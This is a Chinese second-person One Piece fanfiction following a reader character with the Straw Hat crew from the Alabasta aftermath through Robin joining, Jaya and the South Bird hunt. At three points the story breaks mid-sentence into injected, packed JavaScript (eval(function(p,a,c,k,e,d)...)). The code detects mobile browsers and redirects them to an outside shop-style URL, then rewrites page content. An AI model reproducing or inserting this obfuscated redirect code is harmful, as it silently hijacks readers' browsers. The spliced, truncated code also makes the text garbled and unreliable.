你取出里面包装好的三明治递给隔壁,他自然接过就啃了起来,你说谢了,索隆。他回你一句你不是已经说过了? 你:“我想再谢你一次,不成吗?” 依你所言,你是第一次直面战争的惨重,在奔跑寻找炸弹的过程里,一路都有尸体横躺竖躺甚至堆成一座小山,浓重的血腥味在嗅到最后甚至已经习惯不再觉得恶臭,但这并没有驱散笼罩你心扉许久的浓雾。 你还是能隐约听见耳鸣。 同你一队的索隆观你面色不善,虽然身负重伤,行动力却是分毫没有减弱,他主动牵过你手,带着粗茧的手心擦过你的手背,感觉很痒很刺挠,却确实吸引过你的注意。 “觉得难受就别看了。” “它们也没什么好看的。” 你受了索隆一路的照顾。 你让索隆给你看看伤势,他说这难道不是乔巴的活儿?你问他给不给?他乖乖把手递过来让你看,你认真打量一番,确认好得不错。才放心从篮子里取出一瓶红酒(从酒窖那里拿的,进去的时候刚好碰见国王,他看你对酒感兴趣,特地送了你一瓶。说实话,没有,不是,不感兴趣。) 索隆闻到酒香,啊了一声说这是好酒,然后又看向你问你又想玩什么恶作剧。你额冒青筋,问他到底对你什么印象?索隆说你要不要想想自己到底有多爱折腾他。 你:“……某位酒蒙子对喝酒不感兴趣了是吗?” 索隆:“……你不是说伤员不许喝酒?” 你:“我说不许你这酒蒙子就会不喝?你到底记不记得你被我逮过多少次啊。” 索隆:“就是因为这样才不信你啊,每次都突然冒出来,我的酒被你没收了不知道多少瓶。” 你:“我就问你喝不喝!” 他顶着脑袋上的包享受了这瓶酒。 —— 你俩回去的时候路飞刚好睡醒,乔巴站在路飞的床前,看来是打算给路飞换药。他看到你们回来立刻蹦哒到你们面前,用他那小巧的鼻子左右嗅嗅确定索隆没有为了训练又把自己的伤口弄得撕裂后朝你说声谢谢。你很感恩他没发现你俩喝过酒,在回来之前你把他踹去澡堂让他好好洗过一番身子确定没有酒味儿了之后才回来。 乔巴继续道,“索隆这家伙果然又偷跑去训练了吧?” 多亏了有你在。 你挑衅似地朝索隆挑眉,“说谢谢了吗?索隆君。” 索隆:“你来打扰我训练还要我说谢谢?” 你俩对视,索隆沉默,索隆忍辱负重,“——谢谢。” 乌索普:“啊,索隆,完败了。” 路飞喊饿,他闻到你身上有股肉味,凑过来贴着你嗅嗅,然后熟练地摆出可怜的表情说饿了,你有一瞬间以为自己回到了山治还不在那会儿。这小子也是像现在这样一饿就跑来找你说要吃饭,你让他三餐…算了,五餐按点吃饭,不到饭点你拒绝为他干活。 路飞:??? 你:忍辱负重。 路飞:??? 你:深呼吸。 路飞:? 你别开他脸,“行了……我知道了,去饭厅。” 娜美:“都说了别太宠这家伙啦!” 现在有山治了,情况自然不同,你把路飞的脸转过去对着山治,捏动路飞的脸颊然后故意夹着嗓音模仿他说话,“山治,吃饭。” 山治几乎是瞬间就眼冒爱心,他激动地凑前,以一种浮夸的姿势朝你单膝下跪,不知从哪来的玫瑰花被递到你的面前,“当然,my lady。请问你想吃些什么呢?” 路飞还在你的手里,他挣扎一番,道:“山治,是我要吃饭!” 大门在此时被推开,“我听到有人说想吃饭?” 携着爽朗的笑声,长相酷似伊卡莱姆的狄拉柯达小姐在这时出来,路飞转头大喊你还活着!索隆失礼地说她果然有那癖好,显然认错人的某混蛋得到了你毫不犹豫的暴栗。 索隆捂着脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538343|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你这个时候就忘记他也是伤患了,你说是的,毕竟你是薛定谔的伤户。路飞在那边只是一张口就把堆成一车的水果吃完,你们所有人一块儿吐槽,“这也太快了吧。” —— 一点插曲。 你们洗澡的时候隔壁男生刚好也在洗漱,不知道他们到底有没有这个地方其实隔音并不好的自觉,在问女澡堂在哪儿的时候你束好浴巾,已经准备好给这群混蛋一个教训。 索隆在此时发言,“我劝你们最好不要这么做。” 先不论娜美,单说你和薇薇,“你们敢这么做,她绝对会把你们所有人都痛扁一顿。” 一众人都想起你当初因为mr2想要袒露娜美的裸体而气到直接给他狠踹一脚的一幕,他们乖乖偃旗息鼓。 —— “既然你们那么不想和她分开,硬是把她带过来不就好了?” 趴在木栏底下的几人接踵说出吐槽索隆的话。轮到你时,你自然接过话茬,贴着他的耳边“冷酷,无情,混蛋。” 索隆深呼吸。 索隆露出鲨鱼齿,某个站在他旁边压迫他肩膀逼使他不得不弯腰就着你身高让他给你当拐杖的家伙,“你最没资格这么说!” “别这么小气!” “好像终于离开岛了呢。” 索隆:“啊。” “真是辛苦你们了。” 你:“哎呀,哪里哪里……” 你和索隆同时回头,见是妮可罗宾,你眼疾手快,把索隆护至身前,索隆话不多说,手拔长刀,对着罗宾面露不善。 “是为组织复仇?” “敌袭,敌袭。”乌索普举着喇叭,自从薇薇站在钟楼高喊停下了无果之后他就自主研发出这类方便工具。妮可罗宾使用能力的姿势总让你背后冒汗,克洛克达尔给你带来的坏影响还是太重了。你们问她到底为什么来这儿,她看着路飞说你对我做的事情要负责哦。 说实话,她未免太松弛了吧? 你看着曾经熨过你和娜美体温的专属躺椅被她占领,乌索普在对面给她做面试咨询。 你:“说实话,这有用吗?” 就算面试不通过你们也不可能把她推到海里去吧? 索隆抱着刀小憩:“谁知道呢。” 你看过被罗宾能力逗得一直在笑和玩的路飞乔巴二人组,你拍过索隆肩膀,“警惕的工作就交给你了,我去午睡。” 索隆:“哈?” 就连你这勉强算理智人的家伙都跑路了,这艘船顶用的只有他吗? —— 罗宾其实私底下还是有找过你的,她看过留在你小腿的血痂,突兀地开口“是当初应对香蕉鳄鱼留下的伤吧?你很勇敢呢,■■小姐。” 你放下交叠的双腿,合上怀里的笔记本电脑,抬眼回她,“其他人受过的伤比我多多了,怎么不这么夸夸他们?” “嗯……可能是因为你和他们不一样吧。” 那双眼睛,无论怎么看,都完全不像这里的人呢。甚至身上的气质,如果不是你就站在这里,或许别人还会以为你是某个国家的公主也说不定呢? 到底是什么样的地方将你养育至此,她的好奇心来得突兀,就像现在选择来找你一样。她眨过眼睛,听你说有这回事吗? 你觉得自己和他们挺相似的。 除却犯傻的时候,你一本正经地点头,罗宾却是一副被你逗笑的样子,说是吗?你说是的,就是这么一回事。她看着你把珍视的东西收纳好,你起身拍拍身上不存在的灰尘,打理干净好朝着朝阳叉腰,又扭过头来看她。 “我是不是还没正式说过一句来着?” “什么?” 罗宾配合地问你。 “欢迎你,妮可.罗宾。” —— “所以,你就这么轻易地相信她了?” “没办法嘛,船长都同意了。” “完全不像你。” “……我在你心里到底是什么形象啊!” 12. 空岛篇1 放在以前,如果有人告诉你天上会掉下来一艘海盗船,还是只剩残肢的海盗船,你会告诉他你在说什么胡话? 而放在现在,你一脸平静地站在一边,一巴掌把骷髅按在乌索普身上。乌索普胡乱扭动翻滚,尖叫着:“啊啊啊啊尸体,尸体!!” “■■你别把他摁我身上啊喂!” “那你别把他抛我这里啊!要害怕一起害怕才对吧!” 乌索普:“你看起来一点也不害怕!” 乔巴:“骷髅!骷髅开裂了!” 你:“哪里看出来的!我明明超级害怕的!” 乔巴:“骷髅!骷髅!” 木船的残骸终于不再下坠,你拉着乌索普把骷髅放在一边然后为他双掌合十做了个不伦不类的祷告希望他能安息。 罗宾此时发话,说指针朝上,很有可能是因为空岛。听到推测的路飞说要船舵朝上,我们出发去空岛!空岛!空岛!乌索普在那边附和,然后就荣获罗宾的捂嘴待遇。你在旁边顺手想把骸骨扔了,罗宾却让你等等放在那里,“尸体有时候也能传递信息呢。” 你:“……虽然我知道这是事实,但是还是很可怕啊。” 乌索普点头。 罗宾接过骸骨,把它安放在一并掉落下来的棺材里,众人团团把她和骷髅包围,你也打算凑个热闹观摩她验尸,但路飞突然从你的身后戳你手臂。你侧目看去,他咧嘴一笑,“我们去冒险吧!” 你:……? 路飞揽着你的肩膀,你俩一起朝木船残骸看去,他指向那里,说话间的风一直往你脸吹,“那里那里!我们去那里吧,那里看起来很有趣的样子。” 你总觉得自己此时应该吐槽,但一时间你又不知道说些什么。 你带着路飞闪现到残骸之间,从站在一边看他一路变成兴致勃勃地和他一块寻宝,直到不幸发生。 娜美:“话说■■和路飞到哪儿了。” 乌索普:“他们说是去冒险去了。” “冒险?”莫名有种不详预感的娜美往你们那边看去,双目一凝双掌猛拍,木板喀喇地发出一声脆响,“怎么连■■也掉进去了!” 索隆和山治一起跳海把你和路飞带回船上,你趴在船沿哇哇吐水,娜美在你旁边为你拍背让你顺气,她问你怎么会掉进海里。你吐干净那些咸嗖嗖的水,朝饮饱了海水的路飞比出中指,山治在帮你教训这个不省事的船长,你说:“我下次绝对不会听你的建议了,混蛋。” 要不是因为某人太过专注找宝藏而忘记你们身在海上,一招不慎,他跌进海里,巨大的水花飞溅,你在被溅一身水的情况下还被拽住了脚踝,下意识瞬移的你因为这匆忙的举措导致你俩一起跌入茫茫大海只能努力上游大喊救命。damn! 你甚至被木刺划伤了!你怒气冲冲,朝路飞那边走去,肆意拉扯路飞的脸,问这小子怎么赔你医药费。 路飞说怎么还有医药费?你跟娜美学坏了,你说你本来就这样,认栽赔钱吧混蛋船长。 娜美也帮你给路飞一拳,你俩开始算账。 索隆:“掉钱眼里去了吗,你们俩个。” 娜美:“你的债都还没还呢,索隆。” 你:“竟然对债主口出不逊!加偿利息!” 娜美:“加偿利息!” 索隆眉眼抽搐,“你们两个……” 你和娜美同时看向他,索隆扭头。 算了,面露凶相的这俩个家伙惹不得。 你和娜美确认好金额后三主力已然套上潜水服准备潜水,你左右看看觉得这个场面不留影纪念实在可惜,就举着手机让他们say cheese,路飞双眼冒光问哪里有吃的,山治摁过他的头盔让他安定点这里没有cheese,索隆问说这个做什么? 你:“拍照口号啦拍照口号,总之配合一下嘛。来,cheese——” 山治/路飞/索隆:“cheese——” 你:“good boys!” 罗宾:“总感觉像在称赞狗狗呢。” 乌索普:“你真相了罗宾。” 他们潜入海里,乌索普的发明天赋你不管看多少次都为他惊叹,你:“居然能想出这种设计,厉害啊乌索普。”乌索普在你的旁边被夸得有些荡漾,一副想一本正经又羞涩的别扭状态,你看着他左右扭身,脸上俩朵红晕,夹着嗓音回你:“哪里,哪里。” 装着三个喇叭作为传声器的潜水系统依次发出路飞索隆山治的话,乔巴化作人类形态为他们把持手刹车确保他们的安全,听着他们说话你就知道底下一堆危险物种。 “幸好不是我下去。” “我们怎么会让我们的大发明家下去呢?” 你笑嘻嘻地把手搭在他乌索普的肩膀压着他,乌索普差点吓一大跳,吐槽这次人形拐杖改选他了吗?你斜眼睨去,“有意见?” 乌索普立刻打哈哈,“不敢不敢。” 有船驶来。 这个世界居然真的有猿人? “咿呀咿呀,真的有这么像吗?” 猴子模样的男人擦过鼻子,面露羞涩地朝你们说话,这里的人五感都敏锐地不像话,你只是下意识地吐槽一句,他居然就这么听见了? “啊,当然当然。” “你们要打捞吗?” 他开始讲废话,你和娜美乌索普对视一眼,同时松了口气,幸亏是个笨蛋。 “什么啊这个!” 我去,路飞! 你、娜美、乌索普一人一个,眼疾手快地捂住喇叭,在猿人看来时忙打哈哈地糊弄过去,罗宾一直居于幕后完全不见出声,一到她发言,“输气管都在嘴巴里了,他们肯定被吃掉了啊。” 你打了个寒颤,“别说了罗宾。” 罗宾对你笑笑。 —— 【 (三主力潜水服图片)(巨大海龟图片)(模糊的三道巨型残影图片) 怎么会有这么多可怕的东西聚在一起!这伟大航路到底还有什么惊喜是我不知道的? 】 —— 经过一场酣畅淋漓的逃命,路飞发布号令,你们要出发去加亚。 出发前你莫名有种不详的预感,来到此地后这种感觉就更甚,你搓搓起了鸡皮疙瘩的手臂,娜美在朝路飞和索隆跑去避免他们干出什么蠢事。和你站在一块儿的罗宾问你要不要和她一起下去逛逛。只是这么一提你的寒毛就立即竖起,好生诡异。 你没搞明白这种预感到底怎么回事,但出于对这种异常直觉的自信,你选择留在船上,罗宾看着有些遗憾,虽然你觉得这是表演,但你还是答应她下次下船你会和她一起行动。乌索普和乔巴过来找人时见你安然无恙躺在躺椅享受,一脸激动地抱在一起说太好了,你还在这里。 和他们混熟之后甚至不用多想就能知道这几个人寻思什么的你脑后满是黑线,说:“你俩把我当逃跑工具了是吧?” 乌索普:“哪有哪有。” 乔巴摇头摇头。 乌索普:“只是你的能力比较方便嘛!跑路多快多合适!” 你:“……这和说我适合跑路有什么区别?” “你们这些家伙,在对lady说些什么失礼的话呢!”从厨房里忙碌回来的山治分别给乌索普和乔巴一个暴栗。 乌索普捂着脑袋说痛,然后鼻子一嗅就闻到了山治的拿手好菜海鲜烩饭,你当然也闻到了凑过去抱着山治说好欸,爱你,谢谢,山治好像幸福到要融化,如果他知道这句话的含义又会激动成何种模样呢? 你没把自己的恶趣味告诉他,只像摸猫一样摸过他下巴再和乌索普他们一块赶去吃饭。 待会儿还得陪着乌索普他俩修船呢。 —— 娜美回来的时候非常之气愤,抱着你狠狠地吐槽那两个一身伤回来的家伙,说她真是搞不明白这群蠢蛋到底是怎么想的!被人侮辱到头上了也不还手!蠢货吗! 你拍拍她的后背安抚安抚,她气得磨牙,整个人把你箍得死紧,你觉得自己的腰有点受不了就拍拍她的手臂让她收着点。娜美哼了一声,你终于不用收肚子了。 路飞和索隆经过乔巴的救治基本止血,索隆对娜美说不是你说不要打架的吗?合你意了都你到底在生气些什么啊。 骨骼摩擦相撞的咯吱声在响,为了你的腰着想,你抱着娜美,抬腿猛踢一脚索隆的腿。 索隆吃痛。 闭、嘴! 你的口型做的非常明显,索隆咬牙切齿,无言以对。你背过身继续哄娜美,完全没发现她悄悄朝索隆做的鬼脸。索隆嘴角抽搐,这到底有什么好炫耀的? 因为他们三遇到的插曲,除去这座小镇是个不法之地兼歧视梦想的消息以外,他们别无所获。 那莫名其妙的毛刺感终于消去,你寻思着要不也出一趟门打探消息,就见罗宾作为最靠谱的船员之一回来,为你们带来这座岛的地图。 娜美又要发火了。 罗宾朝你瞥来一眼,用眼神示意,不哄哄她吗?你很想说刚刚就有在哄了啊。路飞拎着地图凑过来,“我们去看看吧,那个什么蒙布朗。“ —— 除去遇到猿人然后又是猩猩人的小插曲,你们顺利上岸,那座从正面看起来豪华无比的屋子原只是一块夹板包装而成的小屋。 你和路飞蹲在岸边,看那冒着水泡的海面摩挲下巴,“什么东西啊这是?” 路飞:“不知道。” 他伸手试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538344|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳破泡泡,看看海里到底是个东西,结果很不幸,突然冒出来一个栗子脑袋大叔二话不说捉住你俩的脚踝,你拽过路飞的后领开启闪现。 草坪之上突然出现你们的身影,刚才一直抓着你俩脚踝的大叔猛地在旁边呕出一滩水,然后就地以掌顶地旋身踢腿,腿风极快你也很快,你拽着路飞后领的手从未离开,继续闪现。 山治见状立刻赶到,腿风凌厉,但那个大叔身法似乎也是不凡,居然和山治的腿功斗了几个来回。山治和金发栗子头大叔同样怒气冲冲,大叔:“啧,能力者吗?” “突然闯进别人家里,你们果然是为了金块而来吗?” 山治压眉怒斥,“你这个大叔在自说自话什么啊?” 大叔举起手枪。 “喂,山治!” 那个大叔倒下去了,碰瓷? 乔巴意识到不对,赶忙为那倒地医生查看起来。 —— 治疗很成功,金发栗子头大叔名叫库利凯特,是大骗子诺兰德的后代,他们的血缘关系只剩下非常浅薄的零星半点,却仍旧受着那位诺兰德的深厚影响,遭人欺凌排挤。或许这条血脉注定如此,无论是幼时还是现在,不理解的声音总是盖过理解的。 因为如此,在看到路飞傻乎乎地真的相信空岛这样的存在,并且愿意付诸行动前行的人时,库利凯特决定,就把自己的梦想赌在他身上吧。这也是头一次,他在他人身上看到希望。 “我现在把我知道的,关于空岛的所有情报告诉你们。至于相信不相信,就随你们了。”库利凯特抽着旱烟,将这里的所有人纳入眼底。 …… “这么说索隆连动物都不如啊。”x2 你和路飞彼此搭着肩膀嘲笑索隆,在这种时刻你俩总是诡异的默契十足,索隆气到露出鲨鱼齿,朝你们大喊“你们有什么资格这么说别人吗!”吵闹太甚,已经把所有事情说明完毕的库利凯特将你们踢出房间,催促你们赶紧去找南南鸟。找不到就别想上空岛了! 你:“这种事情难道不该早说吗!” 你们提着篮子和网步入林间,乌索普对你寄予厚望,“抓捕鸟虫什么的,交给■■就好了吧?” 你的能力用来逮东西特别方便,到时候遇到南南鸟你只要闪现,再用捕虫网一捉,完美! 你敲过他的脑袋:“就算再怎么方便也别忘记这森林危机密布的好吧,上一秒看起来还安全的地方下一秒可能就要了我的命,我要是随机传送到什么诡异危险的地方那还得了?” 乌索普嗷嗷呼痛,连道知道了知道了。 因为乌索普惹恼了你,所以接下来的组队行动你选择了和路飞乔巴一块儿,不选择索隆是因为跟着他需要时刻谨记这家伙的路痴属性,得时常捞他。 索隆打了个喷嚏。 索隆看向你。 你镇定地揽着路飞的肩膀往前走。 索隆还在看你。 你推着路飞的背催他赶紧走,路飞被你推得一个趔趄,问你怎么这么急? 你说被人盯着当然走得急了,走吧走吧,南南鸟在等着你们呢。路飞扭过头看你,再看向已经别过头和罗宾离开的索隆背影,歪头思索了片刻:“嗯……行吧,我们走!” 你们抓到阿特拉斯,路飞兴奋,你们见到第二只阿特拉斯,路飞二倍兴奋,在陪着他一块儿捉阿特拉斯的路上,你寻思着你们不是来捉南南鸟的吗? 然后南南鸟就蹦出来了,还带着一窝马蜂……我靠!马蜂! 你们飞奔而逃,南南鸟的叫声古怪且饱含恶意,你和路飞一块儿问乔巴他在讲些什么鬼东西,乔巴分神去听,面色凝重,“他说打扰这座森林安宁的家伙都去死好了。” 你仄眉咋舌,“讨厌的家伙。” 可惜讨厌的东西不会因为你讨厌就不会接近,皮肤上的细痒引起你的注意,goddamn的,你嗤过一声赶忙揽过路飞和乔巴的腰,能力发动。 你们来到树上,穿梭闪现,这座森林不止你们刚刚看到的那一只怪鸟,你让路飞负责盯梢,看到了你们就再度出发。 乔巴吐着舌头有点反胃,你拍过他的脑袋对他说连续穿梭这么多次是这样的。只有路飞完全不受影响,他甚至兴致勃勃希望再来几次,(这就是这家伙去冒险老带着你的原因。路飞:“可是真的很好玩嘛!”) 他用手充当望远镜四处看看,说看到南南鸟了! 你捉着他俩再度穿梭。 左闪右闪,距离逐步减短,南南鸟试图飞起,南南鸟逃脱失败,捕虫网将它完全盖住,你们一人抱着它的翅膀让它不能飞起,一人稳着捕虫网防止他跳脱。 南南鸟vs你们。 K.O.! 你:“走了!” 13. 空岛篇2 银盘高悬。乔巴、路飞和你虽已成功捕获一只南南鸟,但作为群居动物的它们自然不会因为你们的一场胜利就放弃折腾你们的打算,你们努力奔逃,耳后尽是那群南南鸟的愤怒怪叫声,乔巴向你们传递它们愤怒的话语,“竟敢捉拿我们的同伴!去死吧你们!” 你们对视一眼,阴风吹过,连带着细小昆虫的翅膀拍打声都变得阴森起来,一种不妙的预感影响着你不敢回头看,只问乔巴不会是你想的那样吧?乔巴艰难地回应,“是的,” 不妙不妙不妙! 路飞作为负重主力抱着南南鸟上蹿下跳,草帽随着他的行踪起伏不定,不仅是你们,他也快被这群如影随形的南南鸟追烦了,他朝它们大喊。“别再追了,等我们去完空岛就会把它还给你们啦!” 怪叫更甚,大黄蜂都快逼到跟后了,乔巴尽职尽责地为你们翻译,“谁会信你们这群卑鄙的人类啊,他说。” 路飞动作一顿,他想做什么你甚至不需要多想,你赶忙拉住他追问乔巴闻到索隆山治他们在哪儿了吗?乔巴仔细嗅嗅,头朝一边去。 你猛吸一口气,空间在你的面前扭曲旋转,你喊道:“这次是最后一次了!” 不成功就成仁吧! 路飞呜呼一声,时间好像在此刻被刻意拉长,你们化作一条直线,周围景象拉伸、模糊,好像有什么东西在此刻抓紧你的胃袋,等到景象终于清晰起来时,你已经撑在树干上呕吐了,在你旁边陪着你吐的是乔巴,还有南南鸟。 路飞拍拍你的肩膀,见你从眩晕感回过神来看他,他朝你展开毫无阴霾的笑容,“没事吧?■■” 你:……? 他居然一点都不受影响吗? 索隆把沾染昆虫血的刀刃甩干净,另一群南南鸟招来的祸端都被他三下五除二干完了,站在他旁边的是仪容最整洁端庄的罗宾,他们对于你们的突然出现起先还有些意外,但在看到眩晕呕吐的南南鸟和你们时又瞬间明白到怎么一回事。 “■■的能力真是方便呢。”罗宾这么说,花花果实幻化出来的手为你递过手帕擦嘴,你感动地说谢谢。走过来的索隆伸手把你扶起来,而你非常自然地就往他身上一趴,说话有气无力,“不行了,好累,我没体力了,你背我。” 索隆托起你的双腿说是是知道了,别乱动。路飞揽着昏迷的南南鸟,罗宾抱着恢复成原生形态的小乔巴,拍拍他冒汗的脑袋,说真是辛苦你们了。 你很感动,但是很累,所以就不说话了。索隆问你们都遇到什么了累成这样,唯一十分有干劲的路飞手拎着捕虫网和他解释说你们那只南南鸟的伙伴可卑鄙了,老是捉大黄蜂蜜蜂之类的虫子来叮你们,乔巴又不给他反击,真的很麻烦啊那群家伙。 路飞继续:“然后■■为了帮我们离开南南鸟就咻地一下把我们给带过来了,”他说得手舞足蹈,一副开心得不得了的样子。说完还凑过来戳戳你的脸颊,你眼珠子转过去,那张笑面对准你“谢谢你哦,■■” 你瞳孔好像放大了一瞬,索隆说话的声音好像被什么卡住一样,磕磕绊绊的:“放、松、点,喂,手。” 你咳了一声,手松了点,没看路飞,“也…没什么啦。” “咳,嗯,毕竟是你们嘛,应该的。” 对比起索隆罗宾,乌索普和娜美山治他们和你们一样的狼狈,他们气喘呼呼,浑身脏兮兮的,山治在看到索隆背着你的时候表现得很夸张,他近乎是瞬间就凑近到你和索隆面前,问你发生了什么事,才需要索隆背着你走这段路。 索隆让他走开点,太近了,你嗯嗯地沉思了一下,告诉他说单纯是因为能力使用过度走不动了才让索隆做你的代步工具。 乌索普率先看到那只被路飞提拎着的南南鸟,惊讶地喊过一声南南鸟,他们终于可以离开这座诡异的森林了,太好了! 娜美跟在你的身后,负手蹦哒着来到你的身边,伸手点过你的鼻尖说你真是的,又勉强自己了?下次组队还是跟着她比较好,和她在一起可不会和跟路飞他们一起一样遇到那么多麻烦。 你说当然,下次一定和她组队! 索隆说你俩这么想聊天要不然你就让娜美背着吧,你say no亲爱的索隆酱,负重走这件事怎么能交给娜美做呢。你搂着他的脖子,往前伸了伸,“我们队里背人背得最舒服的就是你了,能者多劳嘛,看在我之前也照顾你那么久的份上,麻烦你咯。” ……你这家伙。 索隆深呼吸,到底还是把你往上托了托稳住你的身形,他:“再乱动就自己走。” —— 距离你们开船还剩四小时。 路行一半猿人猩猩还有库力凯大叔的惨叫声刺破原本祥和愉快的氛围,其中夹杂着的反派奸笑直接引去路飞第一个冲出去见人,你们紧随其后,林木消失而对面的场地惨不忍睹。 原先宽阔的草坪不见离去前时的平坦,坑坑洼洼又破破烂烂,泥土被翻耕,酒臭味还有一群人的嬉闹声,你们的黄金梅丽号也惨遭毒手,船的前半身干脆断了半截落在岸上,乌索普捂着脑袋尖叫,你们所有人在震惊的同时也燃起了熊熊怒火,索隆把你安放到一边其后双刀在手。 山治怒斥:“你们这群混蛋!都干了些什么!” 金发寸头的男人擦过流到嘴边的血,随手把抢来的金块抛给同伴,那双阴寒而饱含不屑的眼睛扫向你们,最终定格在路飞上,“果然是你,满嘴可笑梦想的草帽小子。” “不过才三千万的悬赏令海贼,你居然还敢来这里,怎么,想为库力凯报仇雪恨吗?” 贝拉米朝着路飞出言不逊,却见路飞始终低着头以草帽的阴影遮盖自己的表情,他只听见了路飞说:“把大叔的东西还回来。” 这种似是“命令”的语气激得贝拉米勃然大怒,他冷嗤,双腿圈成弹簧的形状,挑衅路飞:“想把海贼抢到的东西还回去?怎么可能,这里可不是你这种低等海贼的天真游乐场,想要就过来抢啊!” 这话说得有些过分了。 你们齐齐看向路飞,路飞伸手示意,这场决斗仅他一人即可。 你们逐将场地交给他。 他回道:“可以。” 贝拉米笑了,你和站到一旁的乌索普打赌,说这人几招输,你赌一招,他说纳尼,你把他的赌注下注了,你:“那没办法嘛,他怎么看都打不过路飞啊。” 蓝色波浪头的贝拉米同伙朝你们看来,“贝拉米怎么可能会输!”他的你们还没落地,就被你凶狠的目光惊得咽了回去。但他又觉得丢脸,抹不开面子的蠢蛋男人恶从胆中来,步步朝你们走来,索隆的刀已拔出,寒气由脚底横生,怎么可能?那个男人的腿在发抖,他还想迈出一步,就被比你更狠更凶的目光震慑。 会死。 仅是目光而已,那个男人就深切地意识到了自己的结果,他瘫坐在地,隔壁的战斗也已经结束。 如你所言,一招制敌,贝拉米战败,拳印在他的脸上印上深深的烙痕,那群欺软怕弱之辈溃散而逃。 早被你们带到安全地带的库力凯大叔他们被包扎得当,路飞背着金块过来的时候不知是沙子迷了眼还是今夜的风太过喧嚣,库力凯的眼睛闪烁着泪光。 路飞:“大叔,你的东西!” 被盗匪众人觊觎之物就这样大大咧咧地敞开在地,路飞把它们交还物主,库力凯:“谢谢……抱歉。” 路飞歪头,问“为什么道歉?” 库力凯:“我们没有守护好你的船,还要麻烦你们帮忙拿回这些东西……总之,谢谢你,草帽小子。” 路飞说没关系啊,大叔你们都努力了不是吗?你们没事就好啦。 你走到他在他的脑袋上狠狠揉搓了一把,路飞笑嘻嘻的,没有反抗。 —— 修好船舱花费了你们不少的时间,乌索普吐槽那群人一点也不知道爱护别人的船,你给他递上钉子说他们都是混混了你能指望他们有多少道德准则? 乌索普依旧气愤,不过你们都习惯了,这是他最喜欢的人送来的船嘛。 忙碌的烟尘气入鼻,在这个小地方传来的还有阵阵的食物香气,你被勾得馋虫作响。 哦哦,山治! 你飘也似的出现在山治身边,路飞同时达到,看着他双眼都是肉的样子你就知道他下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538345|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒要说的是什么了。果不其然,路飞说是肉吗?好香的味道。你仔细嗅嗅,感觉像奶油蘑菇炖汤。 山治作为厨师的职业操守十分良好,虽然被你俩靠得如此之近,手上动作却是分毫不带停顿。他对路飞说你不是才吃过烤肉吗?这么快又饿了?再等等啦混蛋小子,然后转过头来看向你,眼冒桃心,说lady你是饿了吗?你点头点头,他说再等等,这份料理很快完成,待会儿就给端上他特制的爱心料理。 你:“我很期待哦!” 路飞:“我呢我呢?” 山治:“没听到说再等等吗混蛋?!” 你估计他会趁着你们都没注意的时候吃掉那些。 —— 白云浮沉,视野辽阔,像是童话里描述的世界一般,黄金梅利号驻足于这片空海之上。 你拧干衣服上的水分,把它丢进脏衣篮,新换好的衣物还多亏于你那防水功能良好的行李箱才让你免于无衣可穿的窘境。 屋外传来同伴的嬉闹声,但你却一时难以平静。 来到这片云海之前黑胡子的反应让你在意。 那时刺骨寒凉杀气穿过众人直奔你而袭来,你毫无防备,被如此恐吓的身体迅速进入僵直状态,面色发白的你好似莫名戳中了黑胡子的笑点,那阵让你心生不适的笑声桀哈哈地响,他说原来你也会怕啊,■■。 什么意思? 你面色难看,乔巴担忧地问你和他认识吗?你摇头,说你在之前都没见过他。那他那熟悉的口吻是怎么回事? 众人做好战斗的准备,坐在木筏船上的黑胡子下令同伙朝你们驶来,他表现得迫不及待,猖狂的笑着问你们:“准备好了吗?我要来取你们的人头咯桀哈哈!” 但往上冲起的水流却制止了他们的行动,木筏被海洋轻而易举地冲破淹没,黑胡子被海浪卷走,这场预备的战役并未打响,但在你的脑袋,警钟鸣笛。 他谁啊? 那个黑胡子。 你知道他是邪恶大反派,但你可从来没有和他接触过的记忆,他对你为何具有敌意和杀气,那种熟悉的口吻又从何而来? 你坐在屋内长椅,眼盯着桌面沉思。有人敲门,你说请进。娜美打开门坐到你的旁边,见你脸色依旧难看,问你还在想那个黑胡子的事情吗? 你点点头,回答说总觉得很奇怪。你和他到底有什么纠葛是你这个当事人本人都不知道的。 娜美陪着你思考,问你会不会是以前发生什么让他惦记上你了? 你:“这更不可能了。”在几个月前的这里可根本没有你的存在。 你/娜美:“嗯……” 你们苦思冥想,无果。 最后,娜美伸手握着你的手,朝你笑道“算了,这样干想着也不是什么办法。想想看路飞的话吧。” 被提醒将来会有更多这样的敌人追踪的路飞站在甲板上,听到你话时又朝你看来,黑沉的目光好似能洞穿你的一切。 